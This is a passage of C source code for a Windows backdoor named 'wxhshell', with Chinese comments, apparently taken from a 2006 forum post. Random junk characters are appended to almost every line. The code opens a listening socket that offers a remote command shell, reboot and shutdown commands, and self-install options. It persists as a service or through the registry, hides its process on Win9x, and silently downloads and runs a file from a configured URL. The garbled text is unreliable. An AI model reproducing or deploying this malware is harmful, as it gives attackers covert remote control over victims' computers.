  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @^'G&%j  
  } JmnBq<&,0  
  else { <WZ1-  
-q'xC:m  
    switch(cmd[0]) { x:!C(Ep)  
  SPfD2%jjC  
  // 帮助 &oon'q5;  
  case '?': { T@%;0Ro~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); R;0W+!fE  
    break; nYI/&B{p  
  } oq=?i%'>  
  // 安装 sKe9at^E]>  
  case 'i': { `Ev A\f  
    if(Install()) Uuwq7oFub  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A2}Z *U(;  
    else |h#DL$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); JZs|~@  
    break; ,k4z;  
    } >2]Eaw&W  
  // 卸载 * i=?0M4S  
  case 'r': { I;`Ko_i  
    if(Uninstall()) 04I6 -}6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y&oP>n! ei  
    else ):/<H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); R88(dEK  
    break; t}5'(9  
    } "[%;B0J  
  // 显示 wxhshell 所在路径 ZAI1p+  
  case 'p': { 2neF<H?^o  
    char svExeFile[MAX_PATH]; >P<k[vF  
    strcpy(svExeFile,"\n\r"); Ymwx (Pm  
      strcat(svExeFile,ExeFile); Sf+(1_^`t  
        send(wsh,svExeFile,strlen(svExeFile),0); zF[3%qZE:T  
    break; 4]Un=?)I  
    } Y{%4F%Oy  
  // 重启 )ZS:gD  
  case 'b': { K*([9VZ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _7-"Vo X  
    if(Boot(REBOOT)) QV nO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); XD_P\z  
    else { 7bgnZ]r8t  
    closesocket(wsh); .Ws iOJU  
    ExitThread(0); *6 I =oE  
    } ,Hik(22  
    break; btUUZ"q<  
    } ""25ay  
  // 关机 E[SV*1)  
  case 'd': { 4@/q_*3o  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); H B::0l<  
    if(Boot(SHUTDOWN)) sDzD 8as  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *b$z6.  
    else { sf.E|]isW  
    closesocket(wsh); o1fyNzq<  
    ExitThread(0); #U?EOm  
    } ir?Uw:/f  
    break; }vXA`)Ns  
    } 1Y H4a|bc  
  // 获取shell N:UDbLjw~  
  case 's': { ROJ'-Vde9  
    CmdShell(wsh); y9V;IXhDc  
    closesocket(wsh); "ay,Lr  
    ExitThread(0); e.3sAUHZ-  
    break; 5~`|)~FA  
  } ~)! V8  
  // 退出 $Nt=gSWw5  
  case 'x': { #Qtg\X  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); '_TJ"lOZ  
    CloseIt(wsh); >K_$[qP3  
    break; *tq|x[<  
    } eHF(,JI  
  // 离开 vWnHC  
  case 'q': { 6nY )D6$JG  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); &J5-'{U|0  
    closesocket(wsh); u7WTSL%  
    WSACleanup(); HKEop  
    exit(1); !#@4xeBPo  
    break; 1cHSgpoJ  
        } %S(#cf!HP  
  } 6k@%+<1  
  } C*W.9  
I:uQB!  
  // 提示信息 }\PE {  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'gk81@|  
} zJy 89ib'  
  } h+zkVRyA  
v$.JmL0^J  
  return; "lv:hz  
} 1OiZNuI:E  
j{7ilo(i  
// shell模块句柄 J^s<x#C  
int CmdShell(SOCKET sock) M f%^\g.}  
{ .(MbP  
STARTUPINFO si; i#M a -0#  
ZeroMemory(&si,sizeof(si)); Y1U"HqNl*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t9f4P^V`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0aTEJX$iZ  
PROCESS_INFORMATION ProcessInfo; ,<^tsCI  
char cmdline[]="cmd"; RF,=bOr19  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); t]u(jX)  
  return 0; 7tf81*e  
} 7(|3 OR+  
bgzT3KZ  
// 自身启动模式 '1kj:Np  
int StartFromService(void) :N+#4rtgUY  
{ .qb_/#Bas  
typedef struct e~>p.l  
{ |`)V^e_  
  DWORD ExitStatus; %/6e"o  
  DWORD PebBaseAddress; xnhDW7m  
  DWORD AffinityMask; }(g+:]p-  
  DWORD BasePriority; i)ES;b4  
  ULONG UniqueProcessId; HYI1 o/}  
  ULONG InheritedFromUniqueProcessId; 764}yV>  
}   PROCESS_BASIC_INFORMATION; +>i<sk  
)bIK0h  
PROCNTQSIP NtQueryInformationProcess; S}v{^vR  
l_YdIUl  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?*z( 1!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 02J6Pn3  
r 0?hX  
  HANDLE             hProcess; p~d)2TC4#  
  PROCESS_BASIC_INFORMATION pbi; }VGI Y>v  
vS J<  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Z68Wf5@to&  
  if(NULL == hInst ) return 0; 9 .&Or4>  
~*cY&  9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]UCk_zWsn1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ik1L  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); R.2KYhp ,  
rmg";(I  
  if (!NtQueryInformationProcess) return 0; |S>J<]H p  
cO=UswIkwO  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =-Q  
  if(!hProcess) return 0; %)6 :eIS  
v_@#hf3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3R:7bex  
QqFfR#  
  CloseHandle(hProcess); xV n]m9i  
!s[j1=y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6(<~1{ X%  
if(hProcess==NULL) return 0; ]=86[A-2N  
Y9H *S*n  
HMODULE hMod; ev;5 ?9\E  
char procName[255]; "-j@GCme  
unsigned long cbNeeded; I 3zitI;  
Pdo5 sve  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); lc$@Jjg9  
uZ2v;]\Y6  
  CloseHandle(hProcess); s=y9!rr  
&h4Z|h[01  
if(strstr(procName,"services")) return 1; // 以服务启动 l=-d K_ I?  
\")YKN=W  
  return 0; // 注册表启动 wkZ2Y-#='  
} 1z};"A  
:DX/r  
// 主模块 C1P t3  
int StartWxhshell(LPSTR lpCmdLine) ` .sIZku  
{ R SWB!-  
  SOCKET wsl; "za*$DU  
BOOL val=TRUE; k0 e|8g X  
  int port=0; $OFFH[_z  
  struct sockaddr_in door; Kt* za  
/ =Uv  
  if(wscfg.ws_autoins) Install(); "$:y03V  
JmJ,~_  
port=atoi(lpCmdLine); B=Jd%Av  
0.Ol@fO  
if(port<=0) port=wscfg.ws_port; =<FZ{4  
x]d"|jmVZ  
  WSADATA data; ://|f  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; D16;6K'{  
e~ 78'UH  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \$HB~u%dr  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !{~7)iq  
  door.sin_family = AF_INET; l& ^B   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); @n;YF5  
  door.sin_port = htons(port); 1d@^,7MF-  
>'1Q"$;  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { yY g&'3  
closesocket(wsl); K[|P6J   
return 1; 4#7@KhK}  
} g`8 mh&u%  
~ {7N TW  
  if(listen(wsl,2) == INVALID_SOCKET) { 2|NyAtPb5  
closesocket(wsl); lSbM)gL  
return 1; z Q|x>3   
} U/&qV"Ih  
  Wxhshell(wsl); B oj{+rE0  
  WSACleanup(); owY_cDzrH  
\7tvNa,C  
return 0; k&"qdB(I  
O7CYpn4<7  
} ']6#7NU  
!RUo:b+  
// 以NT服务方式启动 \ -iUuHP  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) cp?P@-  
{ z?_}+  
DWORD   status = 0; >93{=+  
  DWORD   specificError = 0xfffffff; qF6%XKbh=  
=cKk3kJC  
  serviceStatus.dwServiceType     = SERVICE_WIN32; C<=p"pWw  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [Z G j7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Cg\)BHv~  
  serviceStatus.dwWin32ExitCode     = 0; ieF 0<'iF  
  serviceStatus.dwServiceSpecificExitCode = 0; .-26 N6S  
  serviceStatus.dwCheckPoint       = 0; dSOn\+  
  serviceStatus.dwWaitHint       = 0; S+xGHi)  
.6/p4OR|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); |2&mvjk@H  
  if (hServiceStatusHandle==0) return; L2O57rT2  
gGdYh.K&e5  
status = GetLastError(); awW\$Q  
  if (status!=NO_ERROR) `M<G8ob  
{ yhn $4;m  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .p0n\ $r  
    serviceStatus.dwCheckPoint       = 0; d\Z4?@T<5  
    serviceStatus.dwWaitHint       = 0; lR K ?%~  
    serviceStatus.dwWin32ExitCode     = status; sF3 l##Wv  
    serviceStatus.dwServiceSpecificExitCode = specificError; L8K3&[l%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); l3|>*szX  
    return; MmX[xk  
  } R]s jG <  
GQ)cUrXQz  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; m)RxV@  
  serviceStatus.dwCheckPoint       = 0; ;3}b&Z[N]  
  serviceStatus.dwWaitHint       = 0; d@4=XSj  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Fl>j5[kLZ  
} ,F9wc<V8  
p[VCt" j  
// 处理NT服务事件,比如:启动、停止 EGr5xR-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) )3\rp$]1  
{ ZU@jtqq  
switch(fdwControl) ~9;mZi1-  
{ *7V{yK$O|  
case SERVICE_CONTROL_STOP: ;B7|tajd  
  serviceStatus.dwWin32ExitCode = 0; G8-d%O p  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %LlKi5u]  
  serviceStatus.dwCheckPoint   = 0; E :g ArQ  
  serviceStatus.dwWaitHint     = 0; ;RZa<2  
  { ^a5~FI:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4GejT(U  
  } &'2l_b  
  return; 'u%;6'y  
case SERVICE_CONTROL_PAUSE: ?gP/XjToMg  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;ypO'  
  break; 54_m{&hb  
case SERVICE_CONTROL_CONTINUE: *YOnX7*Km  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8-6{MJ?F  
  break; vKLG9ovlY  
case SERVICE_CONTROL_INTERROGATE: d }CMX$1  
  break; \/%Q PE8  
}; F+-MafN7Y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); uH h2>Px  
} -xEg"dY/  
mYRR==iDL  
// 标准应用程序主函数  ]= D  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *4\ub:9  
{ #!j&L6  
sJYX[  
// 获取操作系统版本 1@@]h!>k:  
OsIsNt=GetOsVer(); ~;a* Oxt  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?UIb!k>  
NPq2C8:  
  // 从命令行安装 oYm"NDS_.  
  if(strpbrk(lpCmdLine,"iI")) Install(); $k=rd#3  
iU|C<A%Hh  
  // 下载执行文件 -/*{^[  
if(wscfg.ws_downexe) { ViONG]F  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;yoq/  
  WinExec(wscfg.ws_filenam,SW_HIDE); kQcQi}e  
} |EU08b]P29  
wC@ U/?  
if(!OsIsNt) { aa3YtNpP  
// 如果时win9x,隐藏进程并且设置为注册表启动 7En~~J3  
HideProc(); qo ![#s  
StartWxhshell(lpCmdLine); }z@hx@N/  
} TJa%zi  
else ~$ Yuxo  
  if(StartFromService()) t/c^hTT  
  // 以服务方式启动 #Z5~a9rO  
  StartServiceCtrlDispatcher(DispatchTable); "lMWSCas  
else #jR?C9&!(  
  // 普通方式启动 6n4S$a  
  StartWxhshell(lpCmdLine); \EqO;A%<  
,peFNpi  
return 0; h<jIg$rA  
}
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只看该作者 1 发表于: 2006-10-10
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